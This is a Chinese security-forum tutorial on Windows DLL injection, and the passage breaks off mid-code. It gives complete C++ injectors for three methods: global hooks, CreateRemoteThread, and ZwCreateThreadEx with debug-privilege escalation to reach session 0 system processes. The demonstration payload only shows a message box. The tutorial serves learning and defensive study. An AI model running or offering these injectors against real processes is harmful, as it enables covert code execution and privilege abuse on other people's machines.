问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
初探dll注入
# 全局钩子注入 在Windows大部分应用都是基于消息机制,他们都拥有一个消息过程函数,根据不同消息完成不同功能,windows通过钩子机制来截获和监视系统中的这些消息。一般钩子分局部钩子...
全局钩子注入 ====== 在Windows大部分应用都是基于消息机制,他们都拥有一个消息过程函数,根据不同消息完成不同功能,windows通过钩子机制来截获和监视系统中的这些消息。一般钩子分局部钩子与全局钩子,局部钩子一般用于某个线程,而全局钩子一般通过dll文件实现相应的钩子函数。 核心函数 ---- SetWindowsHookEx ```c++ HHOOK WINAPI SetWindowsHookEx( __in int idHook, \\钩子类型 __in HOOKPROC lpfn, \\回调函数地址 __in HINSTANCE hMod, \\实例句柄 __in DWORD dwThreadId); \\线程ID ``` 通过设定钩子类型与回调函数的地址,将定义的钩子函数安装到挂钩链中。如果函数成功返回钩子的句柄,如果函数失败,则返回NULL 实现原理 ---- 由上述介绍可以知道如果创建的是全局钩子,那么钩子函数必须在一个DLL中。这是因为进程的地址空间是独立的,发生对应事件的进程不能调用其他进程地址空间的钩子函数。如果钩子函数的实现代码在DLL中,则在对应事件发生时,系统会把这个DLL加较到发生事体的进程地址空间中,使它能够调用钩子函数进行处理。 在操作系统中安装全局钩子后,只要进程接收到可以发出钩子的消息,全局钩子的DLL文件就会由操作系统自动或强行地加载到该进程中。因此,设置全局钩子可以达到DLL注入的目的。创建一个全局钩子后,在对应事件发生的时候,系统就会把 DLL加载到发生事件的进程中,这样,便实现了DLL注入。 为了能够让DLL注入到所有的进程中,程序设置`WH_GETMESSAGE`消息的全局钩子。因为`WH_GETMESSAGE`类型的钩子会监视消息队列,并且 Windows系统是基于消息驱动的,所以所有进程都会有自己的一个消息队列,都会加载 `WH_GETMESSAGE`类型的全局钩子DLL。 那么设置`WH_GETMESSAGE`就可以通过以下代码实现,记得加上判断是否设置成功 ```c++ // 设置全局钩子 BOOL SetHook() { g_Hook = ::SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllMoudle, 0); if (g_Hook == NULL) { return FALSE; } return TRUE; } ``` 这里第二个参数是回调函数,那么我们还需要写一个回调函数的实现,这里就需要用到`CallNextHookEx`这个api,主要是第一个参数,这里传入钩子的句柄的话,就会把当前钩子传递给下一个钩子,若参数传入0则对钩子进行拦截 ```c++ // 钩子回调函数 LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) { return ::CallNextHookEx(g_Hook, code, wParam, lParam); } ``` 既然我们写入了钩子,如果不使用的情况下就需要将钩子卸载掉,那么这里使用到`UnhookWindowsHookEx`这个api来卸载钩子 ```c++ // 卸载钩子 BOOL UnsetHook() { if (g_Hook) { ::UnhookWindowsHookEx(g_Hook); } } ``` 既然我们使用到了`SetWindowsHookEx`这个api,就需要进行进程间的通信,进程通信的方法有很多,比如自定义消息、管道、dll共享节、共享内存等等,这里就用共享内存来实现进程通信 ```c++ // 共享内存 #pragma data_seg("mydata") HHOOK g_hHook = NULL; #pragma data_seg() #pragma comment(linker, "/SECTION:mydata,RWS" ``` 实现过程 ---- 首先新建一个dll [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-7c04181cee43c5e3c20155efc29c80021af8def8.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-7c04181cee43c5e3c20155efc29c80021af8def8.png) 在`pch.h`头文件里面声明这几个我们定义的函数都是裸函数,由我们自己平衡堆栈 ```c++ extern "C" _declspec(dllexport) int SetHook(); extern "C" _declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam); extern "C" _declspec(dllexport) BOOL UnsetHook(); ``` [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-9bb6c0b22cd6e6191f04efb88532a0dff6036f78.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-9bb6c0b22cd6e6191f04efb88532a0dff6036f78.png) 然后在`pch.cpp`里面写入三个函数并创建共享内存 ```c++ // pch.cpp: 与预编译标头对应的源文件 #include "pch.h" #include <windows.h> #include <stdio.h> extern HMODULE g_hDllModule; // 共享内存 #pragma data_seg("mydata") HHOOK g_hHook = NULL; #pragma data_seg() #pragma comment(linker, "/SECTION:mydata,RWS") //钩子回调函数 LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam) { return ::CallNextHookEx(g_hHook, code, wParam, lParam); } // 设置钩子 BOOL SetHook() { g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)GetMsgProc, g_hDllModule, 0); if (NULL == g_hHook) { return FALSE; } return TRUE; } // 卸载钩子 BOOL UnsetHook() { if (g_hHook) { UnhookWindowsHookEx(g_hHook); } return TRUE; } ``` [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-8b65d98ef49e2ee7f5aad2d43260a1b3421ed1a1.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-8b65d98ef49e2ee7f5aad2d43260a1b3421ed1a1.png) 然后再在`dllmain.cpp`设置`DLL_PROCESS_ATTACH`,然后编译生成`Golbal.dll` ```c++ // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" HMODULE g_hDllModule = NULL; BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { g_hDllModule = hModule; break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } ``` [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-506c1a2079880c6aac51e47071280c401f6fd38f.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-506c1a2079880c6aac51e47071280c401f6fd38f.png) 再创建一个控制台项目 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-925e2ed6fb08d008085e91026dbde0336b6a2ce6.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-925e2ed6fb08d008085e91026dbde0336b6a2ce6.png) 使用`LoadLibrabryW`加载dll,生成`GolbalInjectDll.cpp`文件 ```c++ // GolbalInjectDll.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 // #include <iostream> #include <Windows.h> int main() { typedef BOOL(*typedef_SetGlobalHook)(); typedef BOOL(*typedef_UnsetGlobalHook)(); HMODULE hDll = NULL; typedef_SetGlobalHook SetGlobalHook = NULL; typedef_UnsetGlobalHook UnsetGlobalHook = NULL; BOOL bRet = FALSE; do { hDll = ::LoadLibraryW(TEXT("F:\\C++\\GolbalDll\\Debug\\GolbalDll.dll")); if (NULL == hDll) { printf("LoadLibrary Error[%d]\n", ::GetLastError()); break; } SetGlobalHook = (typedef_SetGlobalHook)::GetProcAddress(hDll, "SetHook"); if (NULL == SetGlobalHook) { printf("GetProcAddress Error[%d]\n", ::GetLastError()); break; } bRet = SetGlobalHook(); if (bRet) { printf("SetGlobalHook OK.\n"); } else { printf("SetGlobalHook ERROR.\n"); } system("pause"); UnsetGlobalHook = (typedef_UnsetGlobalHook)::GetProcAddress(hDll, "UnsetHook"); if (NULL == UnsetGlobalHook) { printf("GetProcAddress Error[%d]\n", ::GetLastError()); break; } UnsetGlobalHook(); printf("UnsetGlobalHook OK.\n"); } while (FALSE); system("pause"); return 0; } ``` 执行即可注入`GolbalDll.dll` [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-535a9a810a91fd7ea38ac0cb53c06490fed76011.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-535a9a810a91fd7ea38ac0cb53c06490fed76011.png) [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-26acb298d6a0adbf0cc80f78201cbc5fa77caf43.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-26acb298d6a0adbf0cc80f78201cbc5fa77caf43.png) 远程线程注入 ====== 远程线程函数顾名思义,指一个进程在另一个进程中创建线程。 核心函数 ---- **CreateRemoteThread** ```c++ HANDLE CreateRemoteThread( HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId ); ``` > lpStartAddress:A pointer to the application-defined function of type **LPTHREAD\_START\_ROUTINE** to be executed by the thread and represents the starting address of the thread in the remote process. The function must exist in the remote process. For more information, see [ThreadProc](https://docs.microsoft.com/en-us/previous-versions/windows/desktop/legacy/ms686736(v=vs.85)). > > lpParameter:A pointer to a variable to be passed to the thread function. lpStartAddress即线程函数,使用LoadLibrary的地址作为线程函数地址;lpParameter为线程函数参数,使用dll路径作为参数 **VirtualAllocEx** 是在指定进程的虚拟空间保留或提交内存区域,除非指定MEM\_RESET参数,否则将该内存区域置0。 ```c++ LPVOID VirtualAllocEx( HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect ); ``` > hProcess:申请内存所在的进程句柄 > > lpAddress:保留页面的内存地址;一般用NULL自动分配 。 > > dwSize:欲分配的内存大小,字节单位;注意实际分 配的内存大小是页内存大小的整数倍。 > > flAllocationType > > 可取下列值: > > MEM\_COMMIT:为特定的页面区域分配内存中或磁盘的页面文件中的物理存储 > > MEM\_PHYSICAL :分配物理内存(仅用于地址窗口扩展内存) > > MEM\_RESERVE:保留进程的虚拟地址空间,而不分配任何物理存储。保留页面可通过继续调用VirtualAlloc()而被占用 > > MEM\_RESET :指明在内存中由参数lpAddress和dwSize指定的数据无效 > > MEM\_TOP\_DOWN:在尽可能高的地址上分配内存(Windows 98忽略此标志) > > MEM\_WRITE\_WATCH:必须与MEM\_RESERVE一起指定,使系统跟踪那些被写入分配区域的页面(仅针对Windows 98) > > ## flProtect > > 可取下列值: > > PAGE\_READONLY: 该区域为只读。如果应用程序试图访问区域中的页的时候,将会被拒绝访 > > PAGE\_READWRITE 区域可被应用程序读写 > > PAGE\_EXECUTE: 区域包含可被系统执行的代码。试图读写该区域的操作将被拒绝。 > > PAGE\_EXECUTE\_READ :区域包含可执行代码,应用程序可以读该区域。 > > PAGE\_EXECUTE\_READWRITE: 区域包含可执行代码,应用程序可以读写该区域。 > > PAGE\_GUARD: 区域第一次被访问时进入一个STATUS\_GUARD\_PAGE异常,这个标志要和其他保护标志合并使用,表明区域被第一次访问的权限 > > PAGE\_NOACCESS: 任何访问该区域的操作将被拒绝 > > PAGE\_NOCACHE: RAM中的页映射到该区域时将不会被微处理器缓存(cached) > > 注:PAGE\_GUARD和PAGE\_NOCHACHE标志可以和其他标志合并使用以进一步指定页的特征。PAGE\_GUARD标志指定了一个防护页(guard page),即当一个页被提交时会因第一次被访问而产生一个one-shot异常,接着取得指定的访问权限。PAGE\_NOCACHE防止当它映射到虚拟页的时候被微处理器缓存。这个标志方便[设备驱动](https://baike.baidu.com/item/%E8%AE%BE%E5%A4%87%E9%A9%B1%E5%8A%A8)使用[直接内存访问](https://baike.baidu.com/item/%E7%9B%B4%E6%8E%A5%E5%86%85%E5%AD%98%E8%AE%BF%E9%97%AE/6024586)方式(DMA)来共享内存块。 **WriteProcessMemory** 此函数能写入某一进程的内存区域(直接写入会出Access Violation错误),故需此函数入口区必须可以访问,否则操作将失败。 ```c++ BOOL WriteProcessMemory( HANDLE hProcess, //进程句柄 LPVOID lpBaseAddress, //写入的内存首地址 LPCVOID lpBuffer, //要写数据的指针 SIZE_T nSize, //x SIZE_T *lpNumberOfBytesWritten ); ``` 实现原理 ---- 使用`CreateRemoteThread`这个API,首先使用`CreateToolhelp32Snapshot`拍摄快照获取pid,然后使用`Openprocess`打开进程,使用`VirtualAllocEx` 远程申请空间,使用`WriteProcessMemory`写入数据,再用`GetProcAddress`获取`LoadLibraryW`的地址(由于Windows引入了基址随机化ASLR安全机制,所以导致每次开机启动时系统DLL加载基址都不一样,有些系统dll(kernel,ntdll)的加载地址,允许每次启动基址可以改变,但是启动之后必须固定,也就是说两个不同进程在相互的虚拟内存中,这样的系统dll地址总是一样的),在注入进程中创建线程(`CreateRemoteThread`) 实现过程 ---- 首先生成一个dll文件,实现简单的弹窗即可 ```c++ // dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "pch.h" BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL, L"success!", L"Congratulation", MB_OK); case DLL_THREAD_ATTACH: MessageBox(NULL, L"success!", L"Congratulation", MB_OK); case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } ``` 我们要想进行远程线程注入,那么就需要得到进程的pid,这里使用到的是`CreateToolhelp32Snapshot`这个api拍摄快照来进行获取,注意我这里定义了`#include "tchar.h"`,所有函数都是使用的宽字符 ```c++ // 通过进程快照获取PID DWORD _GetProcessPID(LPCTSTR lpProcessName) { DWORD Ret = 0; PROCESSENTRY32 p32; HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (lpSnapshot == INVALID_HANDLE_VALUE) { printf("获取进程快照失败,请重试! Error:%d", ::GetLastError()); return Ret; } p32.dwSize = sizeof(PROCESSENTRY32); ::Process32First(lpSnapshot, &p32); do { if (!lstrcmp(p32.szExeFile, lpProcessName)) { Ret = p32.th32ProcessID; break; } } while (::Process32Next(lpSnapshot, &p32)); ::CloseHandle(lpSnapshot); return Ret; } ``` 首先使用`OpenProcess`打开进程 ```c++ hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid); ``` 然后使用`VirtualAllocEx`远程申请空间 ```c++ pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE); ``` 然后写入内存,使用`WriteProcessMemory` ```c++ Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL); ``` 然后创建线程并等待线程函数结束,这里`WaitForSingleObject`的第二个参数要设置为-1才能够一直等待 ```c++ //在另一个进程中创建线程 hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL); //等待线程函数结束,获得退出码 WaitForSingleObject(hThread, -1); GetExitCodeThread(hThread, &DllAddr); ``` 综上完整代码如下 ```c++ // RemoteThreadInject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 // #include <iostream> #include <windows.h> #include <TlHelp32.h> #include "tchar.h" char string_inject[] = "F:\\C++\\Inject\\Inject\\Debug\\Inject.dll"; //通过进程快照获取PID DWORD _GetProcessPID(LPCTSTR lpProcessName) { DWORD Ret = 0; PROCESSENTRY32 p32; HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (lpSnapshot == INVALID_HANDLE_VALUE) { printf("获取进程快照失败,请重试! Error:%d", ::GetLastError()); return Ret; } p32.dwSize = sizeof(PROCESSENTRY32); ::Process32First(lpSnapshot, &p32); do { if (!lstrcmp(p32.szExeFile, lpProcessName)) { Ret = p32.th32ProcessID; break; } } while (::Process32Next(lpSnapshot, &p32)); ::CloseHandle(lpSnapshot); return Ret; } //打开一个进程并为其创建一个线程 DWORD _RemoteThreadInject(DWORD _Pid, LPCWSTR DllName) { //打开进程 HANDLE hprocess; HANDLE hThread; DWORD _Size = 0; BOOL Write = 0; LPVOID pAllocMemory = NULL; DWORD DllAddr = 0; FARPROC pThread; hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid); //Size = sizeof(string_inject); _Size = (_tcslen(DllName) + 1) * sizeof(TCHAR); //远程申请空间 pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE); if (pAllocMemory == NULL) { printf("VirtualAllocEx - Error!"); return FALSE; } // 写入内存 Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL); if (Write == FALSE) { printf("WriteProcessMemory - Error!"); return FALSE; } //获取LoadLibrary的地址 pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW"); LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread; //在另一个进程中创建线程 hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL); if (hThread == NULL) { printf("CreateRemoteThread - Error!"); return FALSE;1 } //等待线程函数结束,获得退出码 WaitForSingleObject(hThread, -1); GetExitCodeThread(hThread, &DllAddr); //释放DLL空间 VirtualFreeEx(hprocess, pAllocMemory, _Size, MEM_DECOMMIT); //关闭线程句柄 ::CloseHandle(hprocess); return TRUE; } int main() { DWORD PID = _GetProcessPID(L"test.exe"); _RemoteThreadInject(PID, L"F:\\C++\\Inject\\Inject\\Debug\\Inject.dll"); } ``` 然后这里生成一个`test.exe`来做测试 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-befcfddfc7edb065cfbfc7331df308994247b15c.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-befcfddfc7edb065cfbfc7331df308994247b15c.png) 编译并运行,实现效果如下 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-3c7c0bd9e7fb149ec0aedd1dc4e9423e51eb76ff.jpg)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-3c7c0bd9e7fb149ec0aedd1dc4e9423e51eb76ff.jpg) 突破session 0的远程线程注入 ================== 首先提一提session0的概念: Intel的CPU将特权级别分为4个级别:RING0,RING1,RING2,RING3。Windows只使用其中的两个级别RING0和RING3,RING0只给操作系统用,RING3谁都能用。如果普通应用程序企图执行RING0指令,则Windows会显示“非法指令”错误信息。 ring0是指CPU的运行级别,ring0是最高级别,ring1次之,ring2更次之…… 拿Linux+x86来说, 操作系统(内核)的代码运行在最高运行级别ring0上,可以使用特权指令,控制中断、修改页表、访问设备等等。 应用程序的代码运行在最低运行级别上ring3上,不能做受控操作。如果要做,比如要访问磁盘,写文件,那就要通过执行系统调用(函数),执行系统调用的时候,CPU的运行级别会发生从ring3到ring0的切换,并跳转到系统调用对应的内核代码位置执行,这样内核就为你完成了设备访问,完成之后再从ring0返回ring3。这个过程也称作用户态和内核态的切换。 RING设计的初衷是将系统权限与程序分离出来,使之能够让OS更好的管理当前系统资源,也使得系统更加稳定。举个RING权限的最简单的例子:一个停止响应的应用程式,它运行在比RING0更低的指令环上,你不必大费周章的想着如何使系统回复运作,这期间,只需要启动任务管理器便能轻松终止它,因为它运行在比程式更低的RING0指令环中,拥有更高的权限,可以直接影响到RING0以上运行的程序,当然有利就有弊,RING保证了系统稳定运行的同时,也产生了一些十分麻烦的问题。比如一些OS虚拟化技术,在处理RING指令环时便遇到了麻烦,系统是运行在RING0指令环上的,但是虚拟的OS毕竟也是一个系统,也需要与系统相匹配的权限。而RING0不允许出现多个OS同时运行在上面,最早的解决办法便是使用虚拟机,把OS当成一个程序来运行。 核心函数 ---- **ZwCreateThreadEx** 注意一下这个地方`ZwCreateThreadEx`这个函数在32位和64位中的定义不同 在32位的情况下 ```c++ DWORD WINAPI ZwCreateThreadEx( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown); ``` 在64位的情况下 ```c++ DWORD WINAPI ZwCreateThreadEx( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown); ``` 这里因为我们要进到session 0那么就势必要到system权限,所以这里还有几个提权需要用到的函数 **OpenProcessToken** ```C++ BOOL OpenProcessToken( __in HANDLE ProcessHandle, //要修改访问权限的进程句柄 __in DWORD DesiredAccess, //指定你要进行的操作类型 __out PHANDLE TokenHandle //返回的访问令牌指针 ); ``` **LookupPrivilegeValueA** ```C++ BOOL LookupPrivilegeValueA( LPCSTR lpSystemName, //要查看的系统,本地系统直接用NULL LPCSTR lpName, //指向一个以零结尾的字符串,指定特权的名称 PLUID lpLuid //用来接收所返回的制定特权名称的信息 ); ``` **AdjustTokenPrivileges** ```C++ BOOL AdjustTokenPrivileges( HANDLE TokenHandle, //包含特权的句柄 BOOL DisableAllPrivileges,//禁用所有权限标志 PTOKEN_PRIVILEGES NewState,//新特权信息的指针(结构体) DWORD BufferLength, //缓冲数据大小,以字节为单位的PreviousState的缓存区(sizeof) PTOKEN_PRIVILEGES PreviousState,//接收被改变特权当前状态的Buffer PDWORD ReturnLength //接收PreviousState缓存区要求的大小 ); ``` 实现原理 ---- `ZwCreateThreadEx`比 `CreateRemoteThread`函数更为底层,`CreateRemoteThread`函数最终是通过调用`ZwCreateThreadEx`函数实现远线程创建的。 通过调用`CreateRemoteThread`函数创建远线程的方式在内核6.0(Windows VISTA、7、8等)以前是完全没有问题的,但是在内核6.0 以后引入了会话隔离机制。它在创建一个进程之后并不立即运行,而是先挂起进程,在查看要运行的进程所在的会话层之后再决定是否恢复进程运行。 在Windows XP、Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Session)运行,而这个会话是由第一个登录到控制台的用户启动的。该会话就叫做Session 0,如下图所示,在Windows Vista之前,Session 0不仅包含服务,也包含标准用户应用程序。 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-34830666343ed00bc8c821b6dda95d1734c1d7a9.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-34830666343ed00bc8c821b6dda95d1734c1d7a9.png) 将服务和用户应用程序一起在Session 0中运行会导致安全风险,因为服务会使用提升后的权限运行,而用户应用程序使用用户特权(大部分都是非管理员用户)运行,这会使得恶意软件以某个服务为攻击目标,通过“劫持”该服务,达到提升自己权限级别的目的。 从Windows Vista开始,只有服务可以托管到Session 0中,用户应用程序和服务之间会被隔离,并需要运行在用户登录到系统时创建的后续会话中。例如第一个登录的用户创建 Session 1,第二个登录的用户创建Session 2,以此类推,如下图所示。 [![](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-3c87893fac2229d275a99c0a6a93e602f8f82f00.png)](https://shs3.b.qianxin.com/attack_forum/2021/10/attach-3c87893fac2229d275a99c0a6a93e602f8f82f00.png) 使用`CreateRemoteThread`注入失败DLL失败的关键在第七个参数`CreateThreadFlags`, 他会导致线程创建完成后一直挂起无法恢复进程运行,导致注入失败。而想要注册成功,把该参数的值改为0即可。 实现过程 ---- 在win10系统下如果我们要注入系统权限的exe,就需要使用到debug调试权限,所以先写一个提权函数。 ```c++ // 提权函数 BOOL EnableDebugPrivilege() { HANDLE hToken; BOOL fOk = FALSE; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); fOk = (GetLastError() == ERROR_SUCCESS); CloseHandle(hToken); } return fOk; } ``` 在进程注入dll的过程中,是不能够使用MessageBox的,系统程序不能够显示程序的窗体,所以这里编写一个`ShowError`函数来获取错误码 ```c++ void ShowError(const char* pszText) { char szError[MAX_PATH] = { 0 }; ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError()); ::MessageBox(NULL, szError, "ERROR", MB_OK); } ``` 首先打开进程获取句柄,使用到`OpenProcess` ```c++ hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID); ``` 然后是在注入的进程申请内存地址,使用到`VirtualAllocEx` ```c++ pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); ``` 再使用`WriteProcessMemory`写入内存 ```c++ WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL) ``` 加载ntdll,获取LoadLibraryA函数地址 ```c++ HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll"); pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA"); ``` 获取ZwCreateThreadEx函数地址 ```c++ typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx"); ``` 使用 `ZwCreateThreadEx`创建远线程, 实现 DLL 注入 ```c++ dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL); ``` 这里还有一点需要注意的是`ZwCreateThreadEx`在 `ntdll.dll` 中并没有声明,所以我们需要使用 `GetProcAddress`从 `ntdll.dll`中获取该函数的导出地址 这里加上`ZwCreateThreadEx`的定义,因为64位、32位结构不同,所以都需要进行定义 ```c++ #ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown); #else typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown); ``` 完整代码如下 ```c++ // session0Inject.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。 // #include <Windows.h> #include <stdio.h> #include <iostream> void ShowError(const char* pszText) { char szError[MAX_PATH] = { 0 }; ::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError()); ::MessageBox(NULL, szError, "ERROR", MB_OK); } // 提权函数 BOOL EnableDebugPrivilege() { HANDLE hToken; BOOL fOk = FALSE; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { TOKEN_PRIVILEGES tp; tp.PrivilegeCount = 1; LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid); tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL); fOk = (GetLastError() == ERROR_SUCCESS); CloseHandle(hToken); } return fOk; } // 使用 ZwCreateThreadEx 实现远线程注入 BOOL ZwCreateThreadExInjectDll(DWORD PID,const char* pszDllFileName) { HANDLE hProcess = NULL; SIZE_T dwSize = 0; LPVOID pDllAddr = NULL; FARPROC pFuncProcAddr = NULL; HANDLE hRemoteThread = NULL; DWORD dwStatus = 0; EnableDebugPrivilege(); // 打开注入进程,获取进程句柄 hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID); if (hProcess == NULL) { printf("OpenProcess - Error!\n\n"); return -1 ; } // 在注入的进程申请内存地址 dwSize = ::lstrlen(pszDllFileName) + 1; pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); if (NULL == pDllAddr) { ShowError("VirtualAllocEx - Error!\n\n"); return FALSE; } //写入内存地址 if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)) { ShowError("WriteProcessMemory - Error!\n\n"); return FALSE; } //加载ntdll HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll"); if (NULL == hNtdllDll) { ShowError("LoadLirbary"); return FALSE; } // 获取LoadLibraryA函数地址 pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA"); if (NULL == pFuncProcAddr) { ShowError("GetProcAddress_LoadLibraryA - Error!\n\n"); return FALSE; } #ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown); #else typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown); #endif //获取ZwCreateThreadEx函数地址 typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx"); if (NULL == ZwCreateThreadEx) { ShowError("GetProcAddress_ZwCreateThread - Error!\n\n"); return FALSE; } // 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入 dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL); if (NULL == ZwCreateThreadEx) { ShowError("ZwCreateThreadEx - Error!\n\n"); return FALSE; } // 关闭句柄 ::CloseHandle(hProcess); ::FreeLibrary(hNtdllDll); return TRUE; } int main(int argc, char* argv[]) { #ifdef _WIN64 BOOL bRet = ZwCreateThreadExInjectDll(4924, 